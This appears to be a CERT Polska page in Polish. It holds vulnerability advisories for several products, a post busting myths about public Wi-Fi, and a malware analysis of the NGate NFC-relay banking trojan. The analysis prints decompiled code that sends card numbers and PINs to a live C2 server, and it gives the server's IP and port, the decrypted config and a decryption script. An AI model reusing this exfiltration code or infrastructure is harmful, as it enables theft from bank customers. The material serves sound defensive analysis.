Podatność została potwierdzona na urządzeniu Govee H6056 (lampa) w wersji oprogramowania 1.08.13, jednak może dotyczyć również innych urządzeń Govee komunikujących się z chmurą. Producent weryfikuje inne potencjalnie zagrożone modele urządzeń.

Producent wdrożył poprawki zabezpieczeń po stronie serwera i automatyczne aktualizacje oprogramowania dla modelu H6056. Większość urządzeń H6056 została automatycznie zaktualizowana. Pozostali użytkownicy urządzeń H6056 muszą ręcznie zaktualizować oprogramowanie za pomocą aplikacji Govee Home, utrzymując połączenie z internetem. Użytkownicy powinni otworzyć aplikację Govee Home, dotknąć karty urządzenia H6056, aby przejść na stronę szczegółów urządzenia, dotknąć ikony ustawień w prawym górnym rogu, przejść do sekcji "Informacje o urządzeniu" (wersja oprogramowania) i dotknąć przycisku "Aktualizuj", aby natychmiast zainstalować poprawkę zabezpieczeń.

Produkty Govee H6056 z wersjami urządzeń 1.00.10 lub 1.00.11 nie mogą otrzymać aktualizacji oprogramowania z powodu ograniczeń sprzętowych.

Podziękowania

Za zgłoszenie podatności dziękujemy Janowi Adamskiemu i Markowi Janiszewskiemu z Zakładu Cyberbezpieczeństwa NASK - PIB.

Podatności w oprogramowaniu WaveStore Server

2025-12-16T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu WaveStore Server i koordynował proces ujawniania informacji.

Podatność CVE-2025-65074: Klient WaveView umożliwia użytkownikom wykonywanie ograniczonego zestawu predefiniowanych poleceń i skryptów na podłączonym serwerze WaveStore. Atakujący z wysokimi uprawnieniami może wykonać dowolne polecenia systemu operacyjnego na serwerze, wykorzystując podatność typu Path Traversal w skrypcie showerr.

Podatność CVE-2025-65075: Klient WaveView umożliwia użytkownikom wykonywanie ograniczonego zestawu predefiniowanych poleceń i skryptów na podłączonym serwerze WaveStore. Atakujący z wysokimi uprawnieniami może odczytywać lub usuwać pliki z uprawnieniami użytkownika dvr na serwerze, wykorzystując podatność typu Path Traversal w skrypcie alog.

Podatność CVE-2025-65076: Klient WaveView umożliwia użytkownikom wykonywanie ograniczonego zestawu predefiniowanych poleceń i skryptów na podłączonym serwerze WaveStore. Atakujący z wysokimi uprawnieniami może odczytywać lub usuwać dowolne pliki na serwerze, wykorzystując podatność typu Path Traversal w skrypcie ilog. Ten skrypt jest uruchamiany z uprawnieniami administratora (root).

Podatności zostały usunięte w wersji 6.44.44.

Podziękowania

Za zgłoszenie podatności dziękujemy Julii Zduńczyk.

Publiczne sieci Wi-Fi – czy jest się czego bać?

2025-12-13T15:00:00+01:00

Jak to jest z tym publicznym Wi-Fi? W internecie wciąż możecie trafić na informacje, że korzystanie z takiej otwartej sieci w kawiarni, hotelu lub na lotnisku, to proszenie się o kłopoty, bo hakerzy mogą w ten sposób wykraść hasła i dane. I owszem tak BYŁO. Dziś publiczne sieci nie niosą już takich zagrożeń, sprawdźmy dlaczego.

Każdy z nas był pewnie w sytuacji, gdy pilnie potrzebował dostępu do internetu poza domem. Pociąg, dworzec, restauracja – publiczne sieci Wi-Fi stały się niemal wszechobecne, oferując wygodę i stały kontakt ze światem. Tej wygodzie towarzyszy często jednak niepokój. Dzieje się tak, bo od lat słyszymy ostrzeżenia o rzekomych niebezpieczeństwach czyhających na użytkowników publicznych hotspotów. Wizje hakerów przechwytujących nasze hasła, dane bankowe czy prywatne wiadomości sprawiają, że wielu z nas podchodzi do publicznego Wi-Fi z dużą rezerwą, a nawet strachem. Zupełnie niepotrzebnie.

Dlaczego publiczne Wi-Fi ma złą prasę?

Choć obawy dotyczące publicznych sieci Wi-Fi są powszechne, współczesna technologia oferuje szereg zaawansowanych mechanizmów ochronnych. Zrozumienie jak działają jest ważne do obalenia tych cybermitów.

HTTPS i TLS – to filary bezpieczeństwa w internecie. Protokół HTTPS (Hypertext Transfer Protocol Secure) to bezpieczna, szyfrowana wersja standardowego protokołu HTTP, która wykorzystuje technologię TLS (Transport Layer Security) do ochrony przesyłanych danych. Gdy łączymy się ze stroną internetową używającą HTTPS, co łatwo rozpoznać po prefiksie https:// oraz (w niektórych wypadkach) symbolu kłódki w pasku adresu przeglądarki, nasze urządzenie (komputer, smartfon) i serwer docelowej witryny nawiązują bezpieczne połączenie. Od tego momentu wszystkie dane przesyłane między naszym urządzeniem a serwerem – takie jak hasła, numery kart kredytowych, dane osobowe czy treść prywatnych wiadomości – są szyfrowane tym unikalnym kodem. To szyfrowanie działa niezależnie od tego, czy korzystamy z domowej sieci Wi-Fi, mobilnej transmisji danych, czy publicznego hotspotu w kawiarni. Nawet jeśli hipotetyczny atakujący zdołałby "podsłuchać" ruch sieciowy w publicznej sieci Wi-Fi, w przypadku połączenia HTTPS zobaczyłby jedynie zaszyfrowany, bezużyteczny dla niego ciąg znaków. Treść naszej komunikacji pozostaje chroniona.

A co z podstawionymi przez hakerów sieciami restauracji czy hoteli?

Zagrożenia nie zniknęły całkowicie — cyberprzestępcy wciąż mogą tworzyć fałszywe sieci o wiarygodnie brzmiących nazwach. Nawet wtedy jednak HTTPS nadal chroni dane przesyłane do bezpiecznych witryn (np. bankowości internetowej). Główne ryzyko związane z fałszywym hotspotem polega na tym, że haker może próbować przekierować Was na fałszywe strony logowania (phishing) w celu wyłudzenia danych uwierzytelniających. Warto jednak w tym miejscu dodać, że na strony phishigowe możemy trafić także z bezpiecznej, domowej sieci. Dlatego tak ważne jest zweryfikowanie adresu strony, na której podajemy dane.

Jak to jest z tą kłódką?

Kłódka przy adresie i protokół https oznaczają, że dane przesyłane między nami a stroną są zaszyfrowane. Czyli nikt postronny nie może ich podejrzeć. Ale czy to znaczy, że możemy ufać każdej stronie z kłódką? Niekoniecznie. W internecie każdy może stworzyć stronę, która do złudzenia przypomina tę, którą dobrze znamy. Może mieć identyczny wygląd, logo, kolory — wszystko. A jeśli damy się nabrać, nasze dane trafią w bezpieczny sposób… tyle że prosto do oszusta. Dlatego najważniejsze jest jedno: zawsze sprawdzaj, jaka dokładnie domena widnieje w pasku adresu. To ona mówi nam, z kim naprawdę się łączymy — i nie da się jej podrobić. Zwracamy Waszą uwagę na ten paradoks, bo narzędzie, które podnosi Wasze bezpieczeństwo podczas korzystania z sieci Wi-Fi może jednocześnie usypiać czujność w wypadku ataków phishingowych. Złota zasada brzmi zatem: ważny jest adres odwiedzanej strony, nie to czy znajduje się przy nim kłódka.

Jak bezpiecznie korzystać w publicznych Wi-Fi?

Wyłącz funkcję automatycznego łączenia.
Pamiętaj, że na stronach używających wyłącznie HTTP dane nie są szyfrowane. Dlatego loguj się i przesyłaj dane wyłącznie na stronach, które mają HTTPS.
Zwracaj uwagę na ostrzeżenia przeglądarki!

Mamy nadzieję, że ten tekst i zawarty w nim zestaw wskazówek rozwiał wątpliwości związane z korzystaniem z publicznych Wi-Fi. Podaj te informacje dalej, bo razem możemy zadbać o cyberprzestrzeń wolną od mitów i niesprawdzonych informacji i… bezpiecznie korzystać z Wi-Fi.

Podatność w oprogramowaniu OpenSolution QuickCMS

2025-12-02T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu OpenSolution QuickCMS i koordynował proces ujawniania informacji.

Podatność CVE-2025-12465: Nieprawidłowa neutralizacja danych wejściowych dostarczonych przez użytkownika o wysokich uprawnieniach w funkcji aFilesDelete umożliwia przeprowadzenie ataków typu Blind SQL Injection.

Producent został wcześniej poinformowany o tej podatności, jednak nie udzielił informacji na temat szczegółów podatności ani zakresu wersji podatnych na atak. Przetestowano i potwierdzono podatność jedynie w wersji 6.8 - inne wersje nie były testowane i również mogą być podatne.

Podziękowania

Za zgłoszenie podatności dziękujemy Arkadiuszowi Marcie.

Podatność w oprogramowaniu Simple SA Wirtualna Uczelnia

2025-11-27T14:40:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Wirtualna Uczelnia i koordynował proces ujawniania informacji.

Podatność CVE-2025-12140: Oprogramowanie nieprawidłowo przetwarza wartość parametru 'redirectUrlParameter' w endpoincie 'redirectToUrl'. Oprogramowanie interpretuje wprowadzony ciąg znaków jako wyrażenie Java, co umożliwia nieautoryzowanemu atakującemu wykonanie dowolnego kodu. Podatność została usunięta w wersji wu#2016.1.5513#0#20251014_113353.

Podziękowania

Za zgłoszenie podatności dziękujemy Marcinowi Resselowi.

Podatność w oprogramowaniu routerów SDMC NE6037

2025-11-27T14:30:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu routerów SDMC NE6037 i koordynował proces ujawniania informacji.

Podatność CVE-2025-8890: Routery SDMC NE6037 zawierają narzędzie diagnostyki sieci. W przypadku oprogramowania układowego w wersjach poniżej 7.1.12.2.44 narzędzie to jest podatne na ataki polegające na wstrzyknięciu poleceń powłoki. Aby wykorzystać tę podatność, atakujący musi zalogować się do panelu administracyjnego routera, który domyślnie jest osiągalny jedynie przez porty LAN.

Podziękowania

Za zgłoszenie podatności dziękujemy Grzegorzowi Bronce z firmy Securitum.

Podatności w oprogramowaniu SOPlanning

2025-11-20T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu SOPlanning i koordynował proces ujawniania informacji.

Podatność CVE-2025-62293: SOPlanning z powodu braku kontroli uprawnień w funkcjonalności Project Status pozwala każdemu uwierzytelnionemu atakującemu dodawać, edytować i usuwać dowolne statusy poprzez endpoint /status.

Podatność CVE-2025-62294: SOPlanning wykorzystuje słaby mechanizm generowania tokenów odzyskiwania hasła. Atakujący może przeprowadzić atak brute-force na wszystkie możliwe wartości i przejąć dowolne konto w rozsądnym czasie.

Podatność CVE-2025-62295: SOPlanning jest podatny na Stored XSS w endpoincie /groupe_form. Atakujący z średnimi uprawnieniami może wstrzyknąć dowolny kod HTML i JS do witryny, który zostanie wyrenderowany/wykonany podczas otwierania edytora.

Podatność CVE-2025-62296: SOPlanning jest podatny na Stored XSS w endpoincie /taches. Atakujący z średnimi uprawnieniami może wstrzyknąć dowolny kod HTML i JS do witryny, który zostanie wyrenderowany/wykonany podczas otwierania edytora.

Podatność CVE-2025-62297: SOPlanning jest podatny na Stored XSS w endpoincie /projets. Atakujący z średnimi uprawnieniami może wstrzyknąć dowolny kod HTML i JS do witryny, który zostanie wyrenderowany/wykonany podczas otwierania dowolnej strony.

Podatność CVE-2025-62729: SOPlanning jest podatny na Stored XSS w endpoincie /status. Atakujący z średnimi uprawnieniami może wstrzyknąć dowolny kod HTML i JS do witryny, który zostanie wyrenderowany/wykonany podczas otwierania wielu stron.

Podatność CVE-2025-62730: W SOPlanning użytkownicy z rolą user_manage_team mogą modyfikować uprawnienia użytkowników. Są w stanie przypisać uprawnienia administracyjne dowolnemu użytkownikowi, w tym sobie. Pozwala to atakującemu z tą rolą na eskalację do uprawnień administratora. Problem dotyczy zarówno funkcjonalności masowej aktualizacji, jak i zwykłej edycji praw i uprawnień użytkownika.

Podatność CVE-2025-62731: SOPlanning jest podatny na Stored XSS w endpoincie /feries. Atakujący z dostępem do funkcji Public Holidays może wstrzyknąć dowolny kod HTML i JS do witryny, który zostanie wyrenderowany/wykonany podczas otwierania wielu stron. Domyślnie tylko administratorzy i użytkownicy ze specjalnymi uprawnieniami mają dostęp do tego endpointu.

Te podatności zostały usunięte w wersji 1.55.

Podziękowania

Za zgłoszenie podatności dziękujemy Łukaszowi Jaworskiemu z Pentest Limited.

Podatność w oprogramowaniu Times Software E-Payroll

2025-11-18T14:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Times Software E-Payroll i koordynował proces ujawniania informacji.

Podatność CVE-2025-9977: Wartość przekazana w jednym z parametrów POST wysyłanych podczas procesu logowania do Times Software E-Payroll nie jest odpowiednio neutralizowana, co umożliwia nieautoryzowanemu atakującemu przeprowadzenie ataku typu DoS oraz, potencjalnie, ataków typu SQL Injection. Dodatkowo, próby wstrzyknięcia komend powodują, że aplikacja zwraca obszerne komunikaty o błędach, ujawniające pewne informacje o wewnętrznej infrastrukturze.

Status wdrożenia poprawek jest nieznany, ponieważ dostawca nie odpowiedział na nasze wiadomości.

Podziękowania

Za zgłoszenie podatności dziękujemy Sebastianowi Jeżowi.

Podatności w oprogramowaniu Windu CMS

2025-11-18T11:55:00+01:00

Opis podatności

AKTUALIZACJA 5.12.2025: Po odpowiedzi producenta zmieniono zakres podatnych wersji.

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu Windu CMS i koordynował proces ujawniania informacji.

Podatność CVE-2025-59110: Windu CMS jest podatny na atak typu Cross-Site Request Forgery w funkcjonalności edycji użytkownika. Zaimplementowany mechanizm ochrony przed CSRF może zostać ominięty poprzez użycie tokenu CSRF innego użytkownika. Rejestracja jest otwarta i każdy może założyć konto.

Podatność CVE-2025-59111: Windu CMS niepoprawnie implementuje weryfikację uprawnień użytkowników w funkcjonalności edycji użytkownika. Atakujący posiadający uprawnienia administratora może wysłać żądanie GET, które umożliwia użytkownikom uprzywilejowanym usunięcie kont Super Administratorów, co nie jest możliwe przy użyciu interfejsu graficznego.

Podatność CVE-2025-59112: Windu CMS jest podatny na atak typu Cross-Site Request Forgery w funkcjonalności edycji użytkownika. Atakujący może przygotować specjalną stronę internetową, która po odwiedzeniu przez administratora automatycznie wyśle żądanie typu POST usuwające wskazanego użytkownika.

Podatność CVE-2025-59113: Windu CMS implementuje słabe zabezpieczenie przed atakami typu brute-force po stronie klienta, wykorzystując parametr loginError. Informacje o liczbie prób lub czasie blokady nie są przechowywane na serwerze, co umożliwia atakującemu obejście tego mechanizmu poprzez resetowanie wspomnianego parametru.

Podatność CVE-2025-59114: Windu CMS jest podatny na atak typu Cross-Site Request Forgery w funkcjonalności przesyłania plików. Atakujący może przygotować specjalną stronę internetową, która po odwiedzeniu przez ofiarę automatycznie wyśle złośliwy plik na serwer.

Podatność CVE-2025-59115: Windu CMS jest podatny na atak typu Stored Cross-Site Scripting na stronie logowania, gdzie dane wejściowe nie są odpowiednio sanityzowane. Atakujący może wstrzyknąć dowolny kod HTML i JavaScript do witryny, który zostanie wyrenderowany/wykonany podczas odwiedzania przez administratora strony z logami.

Podatność CVE-2025-59116: Windu CMS jest umożliwia atakującemu enumerację użytkowników. Problem występuje podczas procesu logowania, gdzie różnice w komunikatach mogą pozwolić atakującemu ustalić, czy podany login jest prawidłowy, co umożliwia przeprowadzenie ataku typu brute force z wykorzystaniem poprawnych loginów.

Podatność CVE-2025-59117: Windu CMS jest podatny na wiele podatności typu Stored Cross-Site Scripting w endpoincie edycji stron /windu/admin/content/pages/edit. Podatność może zostać wykorzystana przez użytkownika uprzywilejowanego i stanowi zagrożenie dla użytkowników o wyższych uprawnieniach.

Przetestowano i potwierdzono podatności jedynie w wersji 4.1. Podatność została usunięta w wersji 4.1 build 2250.

Podziękowania

Za zgłoszenie podatności dziękujemy Karolowi Czubernatowi.

Podatności w oprogramowaniu OpenSolution QuickCMS

2025-11-14T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu OpenSolution QuickCMS i koordynował proces ujawniania informacji.

Podatność CVE-2025-9982: W QuickCMS w wersji 6.8 w pliku konfiguracyjnym są na stałe zapisane dane uwierzytelniające administratora w postaci jawnej. Ten błąd umożliwia atakującym, którzy mają dostęp do kodu źródłowego lub systemu plików serwera, uzyskanie danych uwierzytelniających, co może prowadzić do eskalacji uprawnień.

Podatność CVE-2025-10018: QuickCMS jest podatny na wiele ataków typu Stored XSS w funkcjonalności edytora języków languages. Złośliwy atakujący posiadający uprawnienia administratora może wstrzyknąć dowolny kod HTML i JS do witryny, który będzie renderowany/wykonywany na każdej stronie. Domyślnie użytkownik z rolą administratora nie ma możliwości dodawania kodu JavaScript do witryny.

Podziękowania

Za zgłoszenie podatności dziękujemy Karolowi Czubernatowi.

Analiza kampanii złośliwego oprogramowania NGate (NFC relay)

2025-11-03T10:37:00+01:00

Zespół CERT Polska w ostatnich miesiącach zaobserwował nowe próbki mobilnego złośliwego oprogramowania powiązane z atakiem NFC Relay (NGate) wymierzonym w użytkowników polskich banków.

Podstawowe informacje

Celem ataku jest umożliwienie nieuprawnionych wypłat gotówki z bankomatów z wykorzystaniem kart płatniczych ofiar. Przestępcy nie kradną fizycznie karty - przekazują ruch NFC karty z telefonu ofiary do urządzenia przestępcy stojącego przy bankomacie.

Jak to działa?

Socjotechnika/phishing - Ofiara dostaje wiadomość phishingową (e-mail/SMS) o rzekomym problemie technicznym lub incydencie bezpieczeństwa. Link prowadzi na stronę, która nakłania do instalacji aplikacji na Androida. Analizowana przez nas próbka była dystrybuowana przez files[.]fm/u/yfwsanu886

Telefon od "pracownika" banku - Oszust dzwoni, podając się za pracownika banku, aby „potwierdzić tożsamość” i uwiarygodnić instalację aplikacji. Użytkownik otrzymuje też SMS potwierdzający tożsamość rzekomego pracownika.

W aplikacji ofiara jest proszona o zweryfikowanie swojej karty płatniczej bezpośrednio w interfejsie. Musi przyłożyć fizyczną kartę do telefonu (NFC), a następnie wpisać PIN karty na ekranowej klawiaturze. Poniżej przykładowe zrzuty pokazujące tę technikę w wielu próbkach celujących w różne banki.

Kiedy ofiara zbliża kartę do czytnika, aplikacja przechwytuje dane NFC karty (te same dane, które przepływają przez terminal/bankomat) i wysyła je przez Internet do urządzenia atakującego znajdującego się przy bankomacie ( lub do serwera Command&Control, który następnie wysyła je do urządzenia przy bankomacie). Urządzenie atakującego odtwarza te dane w bankomacie. Dzięki przekazanym danym karty i kodowi PIN atakujący wypłaca gotówkę.

Co znaleźliśmy w analizowanej próbce?

Aplikacja rejestruje się jako usługa płatnicza HCE (Host Card Emulation) w Androidzie (może zachowywać się jak wirtualna karta).
Adres serwera i jego działanie są ukryte w niewielkim zaszyfrowanym pliku dołączonym do aplikacji.
Odszyfrowaliśmy ten zasób i wydobyliśmy aktywny serwer c2:
- IP/port: 91.84.97.13:5653
Interfejs zawiera klawiaturę PIN; PIN jest wysyłany do atakującego razem z danymi NFC.

Jak się chronić

Zawsze pobieraj aplikacje bankowe wyłącznie z oficjalnych sklepów (Google Play Store / App Store).
Jeśli dzwoni do Ciebie Twój bank i informuje, że dzieje się coś złego, rozłącz się i oddzwoń na numer banku. Ta metoda w 100% weryfikuje prawdziwość połączenia.

Analiza techniczna

Każda aplikacja na Androida zaczyna się od pliku AndroidManifest.xml. Definiuje on komponenty aplikacji, w tym działania, usługi i uprawnienia. W kontekście analizy kluczową informacją jest ustalenie punktu startowego aplikacji:

Manifest:

punkt startowy

<activity
    android:name="rha.dev.p031me.SuperMain"
    android:exported="true"
    android:launchMode="singleTask"
    android:screenOrientation="portrait"
    android:configChanges="screenSize|screenLayout|orientation|keyboardHidden">
    <intent-filter>
        <action android:name="android.intent.action.MAIN" />
        <category android:name="android.intent.category.DEFAULT" />
        <category android:name="android.intent.category.LAUNCHER" />
    </intent-filter>
</activity>

uprawnienia

<uses-permission android:name="android.permission.NFC" android:required="true"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" android:required="true"/>
<uses-permission android:name="android.permission.INTERNET" android:required="true"/>

usługa HCE

<service android:name="rha.dev.me.nfc.hce.ApduService"
         android:permission="android.permission.BIND_NFC_SERVICE"
         android:exported="true">
  <intent-filter>
    <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
    <category android:name="android.intent.category.DEFAULT"/>
  </intent-filter>
  <meta-data android:name="android.nfc.cardemulation.host_apdu_service"
             android:resource="@xml/hce"/>
</service>

Przykładowa deklaracja AID (skrócona):

<host-apdu-service ...>
  <aid-group android:category="payment" android:description="@string/app_name">
    <aid-filter android:name="F001020304050607" />
  </aid-group>
</host-apdu-service>

Wniosek: Aplikacja może zostać skonfigurowana jako usługa płatnicza HCE i będzie wywoływana przez stos NFC podczas komunikacji z terminalem/czytnikiem.

Start procesu

Po zainstalowaniu pliku APK i uruchomieniu procesu (np. po wybudzeniu go przez program uruchamiający/alias lub usługę) strona Java uruchamia natywną bibliotekę pomocniczą, która ładuje i weryfikuje konfigurację środowiska uruchomieniowego. Punktem wejścia do niej jest klasa rha.dev.me.util.Globals.

    static {
        System.loadLibrary("app"); //libapp.so
    }

    /* renamed from: a */
    public static String m29a() {
        Intent intent = new Intent("android.intent.action.MAIN");
        intent.addCategory("android.intent.category.LAUNCHER");
        List<ResolveInfo> queryIntentActivities = f476b.getPackageManager().queryIntentActivities(intent, 0);
        String packageName = f476b.getPackageName();
        for (ResolveInfo resolveInfo : queryIntentActivities) {
            if (resolveInfo.activityInfo.packageName.equals(packageName)) {
                return resolveInfo.activityInfo.name;
            }
        }
        return "rha.dev.me.SuperMain";
    }

    /* renamed from: b */
    public static void m28b(Context context) {
        f476b = context;
        init(context);
        loadNConfig(context, context.getAssets());
    }

    public static native void init(Context context);

    public static native void loadNConfig(Context context, AssetManager assetManager);

    public static native boolean reader();

    public static native boolean vts();

Podstawowa logika aplikacji jest inicjowana przez System.loadLibrary(„app”);, które ładuje libapp.so do procesu. Ten natywny obiekt odpowiada za kluczowe etapy: najpierw wyprowadza 32-bajtowy klucz z SHA-256 certyfikatu podpisującego APK (DER). Za pomocą tego klucza odszyfrowuje on hex blob pobrany z zasobu assets/____ aplikacji. Kolejny krok polega na analizowaniu par tekstowych klucz-wartość z tych odszyfrowanych danych i kompilowaniu ich do wewnętrznej mapy konfiguracyjnej.

Warto zauważyć, że kod implementuje mechanizm obronny: w przypadku niepowodzenia odszyfrowania lub analizy biblioteka wykonuje wywołanie zwrotne do języka Java w celu wyłączenia programu uruchamiającego - zachowanie to znane jest jako wzorzec safeExit(). Konfiguracja jest uruchamiana przez metodę Java m28b(Context). Metoda ta najpierw wywołuje natywną metodę init(context) w celu skonfigurowania podstawowego stanu współdzielonego, logowania i wewnętrznych zmiennych lokalnych wątku, a następnie wywołuje natywną metodę loadNConfig(context, context.getAssets()) w celu rozpoczęcia procesu odszyfrowywania. W większości kompilacji m28b jest wywoływana bardzo wcześnie - albo z Application.onCreate(), albo z pierwszej Activity.onCreate() - aby zapewnić gotowość niezbędnego gniazda komunikacyjnego w momencie wyświetlenia monitu „zweryfikuj kartę”.

Ponadto natywne flagi boolowskie reader() i vts() ujawniają bity konfiguracyjne (np. reader:=true, mode:=card), umożliwiając warstwie Java dynamiczne określenie, które metody transportu i role NFC należy aktywować.

Natywny moduł ładujący konfigurację (libapp.so) do C2 w postaci zwykłego tekstu

Istotne są dwa elementy natywne: wyprowadzanie klucza i moduł ładujący konfigurację.

Wyprowadzanie klucza (JNI → SHA-256 certyfikatu podpisu):

Zdekompilowana funkcja get_cert_sha(JNIEnv*, unsigned char* out) definiuje proces wyprowadzania klucza. Rozpoczyna się ona wywołaniem funkcji PackageManager.getPackageInfo(..., GET_SIGNATURES). Następnie odczytuje Signature.toByteArray() i opakowuje wynik za pomocą CertificateFactory(„X.509”).generateCertificate(InputStream). Następnie wywołuje funkcję cert.getEncoded() i oblicza skrót za pomocą MessageDigest(„SHA-256”).digest(encodedCert). Na koniec kopiuje wynikowe 32 bajty do out.

Wniosek: klucz XOR jest dokładnie taki sam jak SHA-256 certyfikatu podpisu aplikacji (DER).

Dekryptowanie i parsowanie konfiguracji

AAssetManager_open("____", AASSET_MODE_BUFFER) - ładuje ASCII-hex blob z assets/____.
hexToBytes() - zamiana na ciphertext binarny.
deszyfrowywanie XOR bajt po bajcie przy użyciu 32-bajtowego klucza (powtarzającego się co 32 bajty): c for (i = 0; i < len; i++) pt[i] = ct[i] ^ key[i & 31];
Parsuje tekst jawny linia po linii za pomocą getline; każda linia musi mieć postać key := value; każda para jest wstawiana do configMap i rejestrowana: c I/AppCheck: Parsed host := 91.84.97.13
verifyCnf(env); jeśli coś się nie powiedzie → wywołaj Java safeExit() (co wyłącza program uruchamiający).

Odszyfrowana konfiguracja dla analizowanej próbki::

host:=91.84.97.13
port:=5653
sharedToken:=c2458bfc-9cb4-4998-b814-d3686b0fe088
tls:=false
mode:=card
reader:=true
uniqueID:=395406
ttd:=1761668025

Reprodukcja offline

#apksigner verify --print-certs SGB.apk
#Signer #1 certificate SHA-256 digest: b3a935de8a8be2ce2350fd90936b51650316475b478795ce9cf8ffaf6e765709

import binascii, pathlib
key = bytes.fromhex("b3a935de8a8be2ce2350fd90936b51650316475b478795ce9cf8ffaf6e765709")
ct  = bytes.fromhex(pathlib.Path(r"\path\to\asset\____").read_text().strip())
pt  = bytes(c ^ key[i % 32] for i, c in enumerate(ct))
print(pt.decode("utf-8", errors="replace"))

Otwarcie połączenia: host/port z JNI, protokół ramkowy

Łączność sieciowa jest zawarta w Transport i C0214a (połączenie i wątki). Uwaga: host/port pochodzą z JNI, tj. odszyfrowanej konfiguracji.

// rha.dev.p031me.net.transport.Transport (excerpt)
public abstract class Transport {
    private final String f412a = host();                 // JNI → "91.84.97.13"
    private final int    f413b = Integer.parseInt(port());// JNI → 5653
    public static native String host();
    public static native String port();

    public boolean m67b() {                              // connect-once
        if (f414c != null || f415d) return false;
        f415d = true;
        f414c = mo0d(f412a, f413b);                      // open socket
        mo1c();                                          // TLS hook (unused if tls=false)
        return true;
    }

    protected abstract Socket mo0d(String host, int port);
    protected abstract void   mo1c();
}

C0214a uruchamia wątek wysyłania i odbierania. To właśnie tam krystalizuje się kształt protokołu.

Wychodzące (client→server): len(4) | opcode(4) | body(len) Przychodzące (server→client): len(4) | body(len) (Kod operacyjny znajduje się wewnątrz ciała jako pole ServerData)

// p038y.C0256c — SendThread: exact wire format client→server
void mo2c() {
    C0253c msg = (C0253c) this.f526b.m123d().take();
    out.writeInt(msg.m6a().length);   // int32 len (BE)
    out.writeInt(msg.m5b());          // int32 opcode (BE)
    out.write(msg.m6a());             // body
    out.flush();
}

// p038y.C0255b — ReceiveThread: server→client is just length + bytes
void mo2c() {
    int len = in.readInt();
    if (len > 104857600) throw new IOException("Invalid protocol length");
    byte[] body = new byte[len];
    in.readFully(body);
    this.f526b.m120g(body);           // → NetMan.mo114b(byte[])
}

Wybór transportu (TCP vs TLS)

Aplikacja ukrywa tworzenie gniazd za Transport.d(host, port). Istnieją dwie implementacje:

// z/a.java  — plain TCP used when tls=false
public final class a extends Transport {
    @Override
    protected Socket d(String host, int port) throws IOException {
        return new Socket(host, port);
    }
}

// z/b.java  — TLS variant (not used in this sample)
public final class b extends Transport {
    @Override
    protected Socket d(String host, int port) throws IOException {
        SSLSocketFactory f = (SSLSocketFactory) SSLSocketFactory.getDefault();
        SSLSocket s = (SSLSocket) f.createSocket(host, port);
        s.startHandshake();                    // pinning/custom TrustManager appears elsewhere
        return s;
    }
}

Ramki są łatwe do podpisania na połączeniu, a ponieważ tls=false, payload jest w postaci zwykłego tekstu.

Dyspozytor: rola NetMan i historia opcode

NetMan koordynuje sesję: serializuje komunikaty wyższego poziomu (ServerData) i reaguje na odpowiedzi serwera. Można go traktować jako „mózg sesji”.

// rha.dev.p031me.net.NetMan (excerpt) — the one true outbox
private void m150H(ServerData.EnumC0219b op, byte[] data) {
    if (this.f402b == null) { /* queue until connected */ return; }

    byte[] payload = new ServerData()
        .m74g(op)                                                // opcode
        .m73h(sharedToken())                                     // JNI token
        .m72i(Globals.reader() ? ServerData.EnumC0218a.TYPE_READER
                               : ServerData.EnumC0218a.TYPE_EMITTER)
        .m75f(data != null ? data : new byte[0])                 // data blob
        .m71j();                                                 // native serialize

    this.f402b.m117j(Integer.parseInt(uniqueID()), payload);     // → SendThread
}

Po stronie wejścia blob z serwera jest parsowany do ServerData (natywnie). NetMan obsługuje synchronizację, walidację PIN, listy, kill-switch (ukryj aplikację), a także keepalive co 7 sekund (OP_PING).

public void mo114b(byte[] body) {
    ServerData m = ServerData.m76e(body);                // native parse
    switch (m.m78c()) {
        case OP_SYN:          m150H(ServerData.EnumC0219b.OP_ACK, null); break;
        case OP_PIN_VALID:    InterfaceC0039c.f64h.mo184i(true);  break;
        case OP_PIN_INVALID:  InterfaceC0039c.f64h.mo184i(false); break;
        case OP_PSH:          InterfaceC0039c.f61e.mo184i(new C0160a(m.m79b())); break; // APDUs
        case OP_SHUTDOWN_EMITTER: m134s(); m138o(); break;        // hide app & disconnect
        // ...
    }
    m155C(); // schedule OP_PING every 7s
}

Rejestracja NFC: tryb czytnika

Chociaż plik APK zawiera odpowiednią usługę HCE (emulacja karty), odszyfrowana konfiguracja ustawia reader=true, co aktywuje ścieżkę czytnika: telefon zachowuje się jak czytnik prawdziwej karty, którą ofiara przyłożyła do telefonu.

Fragment interfejsu użytkownika wyraźnie pokazuje tę ścieżkę: po rozpoznaniu metadanych karty wyświetla numer PAN, datę ważności i schemat (według AID).

// p025m0.FragmentC0191s — shows card details once recognized
private void m245w(C0068c c) {
    m248t(); // switch views
    this.f332d.setRectNumber(c.m460c());                     // PAN
    this.f332d.setRectDate(AbstractC0161b.m316d(c.m461b())); // YYMM → MM/YY
    // pick scheme image by AID
    this.f332d.setRectTypeImage(
        m260h(AbstractC0161b.m317c(((C0067b) c.m462a().get(0)).m467b()))
    );
}

private int m260h(String hexAid) {
    return hexAid.contains("A000000004") ? R.drawable.mc          // Mastercard
         : hexAid.contains("A000000003") ? R.drawable.visa_logo   // Visa
         : hexAid.contains("A000000658") ? R.drawable.logo_mir    // MIR
         : hexAid.contains("A000000333") ? R.drawable.union_pay_logo
         : R.drawable.logo_empty;
}

Pod maską parser EMV wypełnia obiekt C0068c (PAN, data ważności, AID). Gdy wszystko jest gotowe, NetMan umieszcza go w CardData i wysyła komunikat OP_CARD_DISCOVERED:

// rha.dev.p031me.net.NetMan
public void m154D(byte[] bArr) {
    m150H(ServerData.EnumC0219b.OP_CARD_DISCOVERED, bArr);
}

Informacje przesyłane przez sieć są wyraźnie określone w CardData: obejmują numer PAN, identyfikatory AID, datę ważności oraz (później) kod PIN.

// rha.dev.p031me.net.c2s.CardData (excerpt)
public class CardData {
